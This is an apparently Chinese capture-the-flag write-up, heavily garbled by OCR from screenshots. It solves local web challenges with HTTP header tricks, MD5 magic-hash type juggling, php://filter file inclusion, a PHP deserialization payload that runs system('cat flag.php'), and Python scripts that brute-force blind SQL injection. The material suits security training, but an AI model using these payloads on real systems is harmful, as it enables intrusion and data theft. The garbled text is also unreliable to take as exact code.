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CEF
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EEEER
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SRIEFT FFBurp ¥ TLHRIH — T -

Burp Suite Professional v1.5.18 - licensed to LarryLau — O >

Burp Intruder Repeater Window Help

| Target | 0y | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts |

| [iessapt [ History | ogions |

(#) Request to http//127.0.0.1:1234
| Fowad || Dop | [imerceptison |  Action | Comment this item (2]
|| Raw | Params | Headers | Hex |

GET /7?%2€%3d%2E6%3d%2E=%250A HTTR/L.1 &
Host: 127.0.0.1:1234 P
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml, application/xml;g=0.9, image/webp, */ *;q=0.8
Accept-Language: zh-CN,zh;qg=0.8, zh-TW¥W:;q=0.7, zh-HK;q=0.5,en~-US; q=0.3,en; g~0.2
Accept-Encoding: gzip, deflate

Connection: keep-alive

Referer: http://127.0.0.1:1234/7%26%3d%2E8IdN2E=%2504

Upgrade-Insecure-Reguesats: 1

Cookie: cookie=i_need flag

EJ EJ B LZJ Type a search term 0 matches

ctrl + RBEHIE K% FIRepeatertith, FHERII—1T Referer:www.google. com

Burp Suite Professional v1.5.18 - licensed to LarryLau — O x

Burp Intruder Repeater Window Help

[TunaIPrn:-cy]WIMwIIMHmTMT_W]m]-WS]Naﬂa-l

Target: htp:/1127.0.0.1:1234 liJ (2J

Response

[

LE g
L

Host: 127.0.0.1:1234
Referer:wwv. google . com

User-Agent: Mozilla/5.0 (Windows NT 10D.0D; Winéd; x€4:
rv:T79.0) Gecko/I0LlDDL0L Firefox/75.0

Accept:

text/heml, application/xhtml+xml, application/xml;q=0.9,1
mage/webp, */*;q=0.8

Accept-Language:

zh-CN, zh:q=0.8, 2h-TW:q=0.7, zh-HK: q=0.5,en-US:q=0.3,en:q
=0.2

Accept-Encoding: gzip, deflace

Connection: keep-alive 1
Referese: hteop://L127.0.0.1:1234/7%26%3a%26%3d%26=%250A |
Upgrade-Insscure-Requests: L

Cookie: cookie=i_need_flag




:
Ej [ZJ E] B Type & search term 0 matches

Ready

R—TF Go LR E AN —H:

B EJ EJ EJ Type a search term 0 matches

Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

| Targst | 1o | Spider | Scanner | intruder | Repeater | Ssquencer | Decoder | Comparer | Extender | Options | Alets |

Go *Cam:el i(.v >

Target: hitp:/1127.0.0.1:1234 liJ lll

Ej [ZJ E] B Type & search term 0 matches
Done

F—ANIYTXNB' 3 B 8% ? B iUser-Agentid KL BI T«

Request Response

“Pm[ﬂuadn[ﬂu] HHudm]Hu]m]

GET /7%ZE%3d¥Z&%3d%2E=%250h HTTP/L.1 & HTTP/Ll.1l 200 OK i

Host: 127.0.0.1:1234 P Host: 127.0.0.1:1234 o

Referek: VWV, google . com Dace: Thu, 13 Aug 2020 13:27:41 +0000

User-Agent: Mozilla/5.0 (Vindows NT 10.D:; Winé4: xE4: Connection: close

rv:79.0) Gecko/I0l0010L Firefox/79.0 ¥-Poweped-By: PHP/7.2.1

Accept: Content-type: text/html; charsec=UTF-8

text/html, application/xhtml+xml, application/xml:q=0.9,1

mage/ webp, */*:q=0.8 <CENCEE>

Accept-Language: <hl>Please use a browser named 'YTXWB' </hl></centers|

zh-CN, zh:q=0.8, 2h-TW:q=0.7, zh~HK: q=0.5,en-US:; q=0.3,en:q

=0.2

Accepr-Encoding: gzip, deflace

Connection: keep-alive

Referer: htep:/S127.0.0.1:1234/?%26%3A826%3A%2E=%250A

Upgrade-Inascure-Regquescs: L

Cookie: cookie=i need_flag
3 3
v v

| 2 EJ EJ EJ Type a search term 0 matches

226 pytes | & millis

&

Burp Suite Professional v1.5.18 - licensed to LarryLau
Burp Intruder Repeater Window Help

| Targst | 1o | Spider | Scanner | intruder | Repeater | Ssquencer | Decoder | Comparer | Extender | Options | Alets |

Go Cancel i <l | >ie

Request

Target: hitp:/1127.0.0.1:1234 liJ lll

Response

o Hosdors | tex | o |

GET /7%2E%3d¥2£%3d%¥26=%250A HTTP/1.1 &
Host: 127.0.0.1:1234 P
Beferer:wy¥.google . com

User-Agent: Mozilla/5.0 (Vindows NT 10.0: Wing4: u64:
rv:79.0) Gecko/20100101 Firefox/79.0

Accept:

text/heml, application/xhtml+xml, application/xml;q=0.9,1
mage/webp, */*;q=0.8

Accept-Language:

zh-CN, zh:q=0.8, 2h-TW:q=0.7, zh-HK: q=0.5,en-US:q=0.3,en:q
=0.2

Accepr-Encoding: gzip, deflace

Connection: keep-alive

Referer: htep:/S127.0.0.1:1234/?%26%3A826%3A%2E=%250A
Upgrade-Inascure-Regquescs: L

Cookie: cookie=i need_flag

HTTP/Ll.1 200 CE

Host: 127.0.0.1:1234

Date: Thu, 13 Aug 2020 13:27:41 +0000
Connection: close

X-Powered-By: PHP/7.2.1

Content-type: text/html; charsec=UTF-B8

<Ccencer>
<hl>Please use a browser named 'YTXWNB' </hl></centers

T




S EEE i c
2| [l [+ L = | | Type & search term 0 matches T < ' + || =2 Type a search term 0 matches
Done

226 bytes | & millis

Burp Suite Professional v1.5.18 - licensed to LarryLau — O x
Burp Intruder Repeater Window Help
| Targst | 1o | Spider | Scanner | intruder | Repeater | Ssquencer | Decoder | Comparer | Extender | Options | Alets |

| Ge Cancel | <lv| | >is Target: htp:/1127.0.0.1:1234 li“l‘

Request Response

_Hpm[mm[m Hw]m]m]

GET /7%ZE%3d¥2Ev3d¥28=%2 TTP/1.1 & HTTP/Ll.1l 200 OK i

Host: 127.0.0.1:123 P Host: 127.0.0.1:1234 P

Referer:www. googl ™ Dace: Thu, 13 Aug 2020 13:27:41 +0000

Pser-Agent: YTXNE Connection: close

Accepr: X-Powered-By: PHP/7.2.1

text/heml, application/xhtml+xml, application/ xml: q=0.9,1 Content-type: text/html; charsec=UTF-8

mage/ webp, */*;q=0.8

Accept-Language: CCENUEED

zh-CN, zh:q=0.8, z2h-TW:q=0.7, zh~-HK: q=0.5,en-US:q=0.3,en: g <hl>Please use a browser named 'YTXNB'</hl></center>

=0.2

Accepr-Encoding: gzip, deflace

Connection: keep-alive

Referesr: hoop://127.0.0.0:1234/ 7326%3aA%26%3d32E=%250A

Upgrade-Inascure-Regquescs: L ﬂ

Cookle: cookie=i need_flag
3 -
v v

o) () () (2 e o soorch tem omacres | (2] (2] (3] (2] [Trres search rom e
Done

226 bytes | & millis

Burp Suite Professional v1.5.18 - licensed to LarryLau — O x
Burp Intruder Repeater Window Help
| Targst | 1o | Spider | Scanner | intruder | Repeater | Ssquencer | Decoder | Comparer | Extender | Options | Alets |

| Ge Cancel | <lv| | >is Target: htp:/1127.0.0.1:1234 li“l‘

Request Response

_Hpm[mm[m] Hw]m]m]

GET /7%ZE%3d¥Z&%3d%2E=%250h HTTP/L.1 & HTTP/Ll.1l 200 OK i

Host: 127.0.0.1:1234 P Host: 127.0.0.1:1234 P

Referer:www. google . com Dace: Thu, 13 Aug 2020 13:25:42 +0000

User-Agenc: YTXNB Connection: close

Accept: X-Powered-By: PHPF/7.2.1

text/heml,application/xhtml+xml, application/xml;q=0.9,1 Content-type: text/html; charsec=UTF-8

mage/webp, */ *:q=0.8

Accepr-Language: <cencer>

zh-CH, zh;q=0.8, sh-T¥W;q=0.7, sh-HK: q=0. 5, en-U5:q=0.3,en: g <hl>Congratulations!</hi>

=0.2 €l-- flag{mZ5YAsfPLN1g7LTDib1khTLobhLG 1w}

Accept-Encoding: gzip, deflate --x<fcenter>

Connection: keep-alive

Referer: hteop://f127.0.0.1:1234/?%26%3A826%3A%2E=%250A

Upgrade-Inascure-Regquescs: L ﬂ

Cookle: cookie=i need_flag
2 -
v v

Ej EJ B B Type a search term 0 matches @ EJ EJ EJ Type a search term 0 matches




| Done

flag{mzZ3YAsfPLN1g7fTDjblkhTLgbhLG1w}

. WL

Postman

MKk T~

ViixAurl, B387 .

e e

GET http://127.0.0.1:1234/

Params Authorization Headers (9) Body Pre-request Script Tests Settings

Headers # Hide auto-generated headers
KEY VALUE

Postman-Token (0 <calculated when request is sent>

8O

Host () <calculated when request is sent>
User-Agent @ PostmanRuntime/7.26.3
Accept (@ =k

Accept-Encoding (@) gzip, deflate, br

(<<

Connection (O keep-alive

Body Cookies Headers (5) TestResults

Pretty Raw Preview Visualize

| need a Cookie:

cookie="?

EAE—A~cookie:

.

GET hd http://127.0.0.1:1234/
Params Authorization Headers (9) Body Pre-request Script Tests Settings
KEY VALUE

Postman-Token ()

Host (1)

User-Agent @

<calculated when request is sent>
<calculated when request is sent>
PostmanRuntime/7.26.3

Accept *fk

Accept-Encoding (@ gzip, deflate, br

(<< W<

Connection (@) keep-alive
Cookie cookie=i_need_flag

Body Cookies Headers (5) TestResults

Pretty Raw Preview Visualize

257 bytes | 9 millis

— - —_

Cookies Code

DESCRIPTION **s  BulkEdit Presets ¥

@® status: 20006 Time: 15ms  Size: 226 B Save Response v

[ PO —
Cookies Code
DESCRIPTION **+  BulkEdit = Presets ¥

@ status: 2000K Time: 14ms  Size: 229B Save Response v

IBGETIE—1"BA'&=&=&'HES

RIE LB E, PostmanB 32 BT Y.

PUT http://node3.buucj.cn:25355/h... @ GET http://127.0.0.1:1234/7%26%3D...@  + wee

Untitled Request

GET ¥ | http://127.0.0.1:1234/2%26%30%26%3D%26=111

Params @ Authorization Headers (9) Body Pre-request Script Tests Settings

Query Params

No Environment v
BUILD

El

Coc



KEY VALUE DESCRIPTION L1

2=8=8 111
Body Cookies Headers(5) TestResults @ Status: 200 OK Time: 13ms  Size: 222 B Save Re
Pretty Raw Preview Visualize

‘B =& =&'MEE/T %O0A'H!

No Environment v ©
PUT http://node3.buuoj.cn:25355/h... @ GET http://127.0.0.1:1234/7%26%3D...8@ 4  s==
Untitled Request suio  « B
GET v http://127.0.0.1:1234/?%26%3D%26%3D%26=%250A “ Save ~
Params @ Authorization Headers (3) Body Pre-request Script Tests Settings Cookies Code
Query Params
KEY VALUE DESCRIPTION *++  Bulk Edit
B=8=8& %250A
Body Cookies Headers (5) TestResults @ status: 2000 Time: 38ms  Size: 1.17 KB Save Response ¥
Pretty Raw Preview Visualize
-
Call Stack
# Time Memory Function Location
1 0.0016 381432|{main}() .Aindex.php:0
== n I 111 v tlt
1518 "www.google.com” fi#trEI 4k
n—A-Referer:
No Environment A o £
PUT http://node3.buuoj.cn:25355/h... @ GET hitp://127.0.0.1:1234/7%26%3D...@ 4 ees
Untitled Request uto |« B
GET hd http://127.0.0.1:1234/?%26%3D%26%3D%26=%250A “ Save ¥
Params @ Authorization Headers (9) Body Pre-request Script Tests Settings Cookies Code
Postman-Token ( <calculated when request is sent>
Host <calculated when request is sent>
User-Agent PostmanRuntime/7.26.3
Accept (1 - e
Accept-Encoding (2 gzip, deflate, br
Connection (&) keep-alive
Cookie kiezineed flag
Referer www.google.com
Body Cookies Headers (5) TestResults @ status: 2000k Time: 38ms  Size: 1.17KB Save Response ¥
Pretty Raw Preview Visualize

ICall Stack



# [Time

Memory Function Location

0.0012 381560({main}() _\index.php:0

M —User-Agent:

Please use a browser named 'YTXNB'

@ ststus: 2000k Time: 12ms

PUT http://node3.buugj.cn:25355/h... @ GET http://127.0.0.1:1234/?%26%3D...@  +  eee
Untitled Request
GET ¥ | http://127.0.0.1:1234/29626%3D%26%3D%26=%250A
Params @ Authorization Headers (9) Body Pre-request Script Tests Settings
User-Agent PostmanRuntime/7.26.3
Accept *f*
Accept-Encoding gzip, deflate, br
Connection keep-alive
Coakie cookie=i_need_flag
Referer www.google.com
User-Agent YTXNB
Body Cookies Headers (5) TestResults
Pretty Raw Preview Visualize HTML 5
1 Kcenterp|
2 <hl>Congratulations!</hl>
3 <l--  flag{mZ3YAsfPLN1g7fTDiblkhTLgbhlGlw} -->
4 </center>

H szi& 7T LA pythonffirequestsfE kit 4T B4, HEHCBIT K.

B H &R easy_php
HH R flag inflag.php!

sr-fE: 200

flag: flag{W31COM3_TO0_2JNUCTF_YTXNB}

wp:

payload: ?password=******g3=5878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php

PR RIK S G2 : admin-

WAL, BT

hack

No Environment

4

o

Size: 257B

Cookies Cot

Save Response

[ e



<?php
highlight_file(__ FILE_ );
if(isset($_GET[ 'password'])){
if(strcmp($_GET[ 'password'],"******x") == @)
// b= passwordZ &, {EJgxxieksx
if(isset($_GET['a']) && md5($_GET['a'])==0){
/] bfg—AZ&a, afimdS{EAFN " 0e ' FFkH.
if (isset($_GET['file'])){
/] bAE—ABE file', W HAEHRK.
include ($_GET['file']);

}
}
else{
die("funny_md5!");
}
}
else {
die("wrong password!");
}
}
else {
die("password!");
?>

stremp O BB HANZRFE .
stremp(string1,string2)
Fistring1<string2,45 <0
Fistring1>string2, 45 >0
Frstring1=string2,45 =0

isset() RMHATHRAUZERT CREH HIENULL.
HAREO0, AZERE.

eval() HREUEZRF B IZBPHPRID R
die() R¥AIH —KEE, R LETHA.

ARG B 2

B ERNET LA password , FHAR AR, #itH password! FEBH .

&b, WK a BEMEMISEF S 50T R, XEAMR == AW, REGWE, LK oe 3k, FHMARFHEEH
WHIAEHE B, ENO.

BJE bfE—A file R, HFBEXNZBEEANHLOEFphpE . XEFH T XHEERR, FIAH php://filter K
flag.php B & 3R AT .

Qe FFkKimdSs AR AE -

$878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

$214587387a
0e848240448830537924465865611904

$214587387a
0e848240448830537924465865611904



$878926199a
0e545993274517709034328855841020

$1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

$1502113478a
0e861580163291561247404381396064

$1885207154a
0e509367213418206700842008763514

$1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

$1184209335a
0e072485820392773389523109082030

$1665632922a
0e731198061491163073197128363787

$1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

$1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

$1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

B H 4% easy_serialization
BE#R: IREEBAEInUXD ?
E: 150

flag: flag{11101033896874985672311110901539012}



wp:

payload: ?password=s155964671a&s=0:3:"Cmd":1:{s:3:"key";s:5:"hello";}&cmd=system('cat flag.php');

AHAREWT:

<?php
error_reporting(0);
highlight_file(___FILE_ );
$password="0e152458479632589632547851236598";
class Cmd{
public $key;
function __destruct(){
if( $this->key === "hello"){
eval($_GET["cmd"]);
}

}
if(md5($_GET["password"])==$password){
unserialize($_GET["s"]);

}else{
echo "Password wrong...";
}
?>
B, Efs—Apassword, ERmd5{H= 0e152458479632589632547851236598 , BRI NRTLLEL, FrllE—A s155964671a B

1T, md5{E N 0e848240448830537924465865611904 o TEBEIT 55 LLEL I %, WAESBE A ZH AR, EH N0, Ui,

W bfe—4> s &, HHHARFIIN. XEFE-NRA, FAECMIEERM, Z$key="hello’lf, FEX/~phpE/F HuiT4iK
& &% EAEH) cmd 2B L Hphp B AIAT, X BBV = T EHIN 75 B AT AT HRAE

__destruct() BEAEphp P B BEAR T , 25 IE M  RAETE P 45 R G B SR #EAT — RV BR1E .
HERE s 77

<?php
class Cmd{
public $key="'hello';
function _ destruct(){
if( $this->key === "hello"){
eval($_GET["cmd"]);
}
}
}
echo serialize(new cmd());
?>
//B3): 0:3:"Cmd":1:{s:3:"key";s:5:"hello";}

FrbA payload: ?password=s155964671a&s=0:3:"Cmd":1:{s:3:"key";s:5:"hello";}&cmd=system('cat flag.php');

BiH: easy web
B R #E: flagflag{4i%is)
4E: 500

flag: flag{094935181553728918036522020159}



WriteUp
XR-NEWERMGREE. SRR, rEZERA /~/ BRIT (FEARTHiksqmap—iER) . FERETHE~

SRR — T BRI R

1'/**/and/**/1length(database())>4#
1'/**/and/**/length(database())=6#
FrUABEEKE=6 (TR =24

—ANRBE 7 B

1'/**/and/**/substr(database(),1,1)="e'#

BRFRIG, FlpythonS A< SR 404 B

#! Jusr/bin/env python
# -*- coding: utf-8 -*-
import requests

import re

url = "http://127.0.0.1/exam/easy_sql/?id=1"'/**/and/**/substr(database(),{},1)="{}"%23"
1 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"
database=""
for i in range(1,7):
for j in 1:
p = url.format(str(i),j)
print(p)
try:
r = requests.get(p)
r.encoding="utf-8"

if re.findall("<h1>(.*?)</h1>",r.text,re.S)[0] == 'JEJEflaglifi~":
database += j

print (J)

break

except Exception as e:
continue
print (database)
#AFEIE I E: employ

WK -

1'/**/and/**/substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database
()/**/1imit/**/@,1),1,1)="e";#
HE—NRNE-NFRe

pythonfiii4s :



#! Jusr/bin/env python
# -*- coding: utf-8 -*-
import requests

import re

url = "http://127.0.0.1/exam/easy_sql/?id=1"'/**/and/**/substr((select/**/table_name/**/from/**/information_schem
a.tables/**/where/**/table schema=database()/**/1limit/**/0,1),{},1)="{}";%23"
1 = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"
table=""
for i in range(1,7):
for j in 1:
p = url.format(str(i),j)
print(p)
try:
r = requests.get(p)
r.encoding="utf-8"
if re.findall("<h1>(.*?)</h1>",r.text,re.S)[0] == 'JEJEflagiEii~":
table += j
print (j)
break
except Exception as e:
continue
print (table)
#BEFENURLE S Limito,1 Limitl,1 Limit2,1 Limit3,1
#range(1,7) B—HWEEXK, RIEFRSKEKITE
#7BB=1#%: email, employee, password

MR T B4 -

1'/**/and/**/substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name="passwor
d'/**/limit/**/0,1),1,1)="1";#

python

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests

import re

url = "http://127.0.0.1/exam/easy_sql/?id=1"'/**/and/**/substr((select/**/column_name/**/from/**/information_sche
ma.columns/**/where/**/table_name='password'/**/1limit/**/0,1),{},1)="{}";%23"
1 = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"
database=""
for i in range(1,9):
for j in 1:
p = url.format(str(i),j)
print(p)
try:
r = requests.get(p)
r.encoding="utf-8'

if re.findall("<h1>(.*?)</h1>",r.text,re.S)[0] == 'FEXflagfE®~":
database += j

print (J)

break

except Exception as e:
continue
print (database)
#BAFH N EE —MRid H—ARpassword



R 7 B A 2

python

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests

import re

url = "http://127.0.0.1/exam/easy_sql/?id=1"'/**/and/**/substr((select/**/password/**/from/**/password/**/1limit/*
*/8,9),{},1)="{}";%23"

1 = 'gwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"

dump=""

for i in range(1,39):
for j in 1:
p = url.format(str(i),Jj)
print(p)
try:
r = requests.get(p)
r.encoding="utf-8'
if re.findall("<h1>(.*?)</h1>",r.text,re.S)[0] == 'JEJEflagiEi~":
dump += j
print (j)
break
elif j=='0"':
break
except Exception as e:
continue
print (dump)
#flag= f1lag{094935181553728918036522020159}
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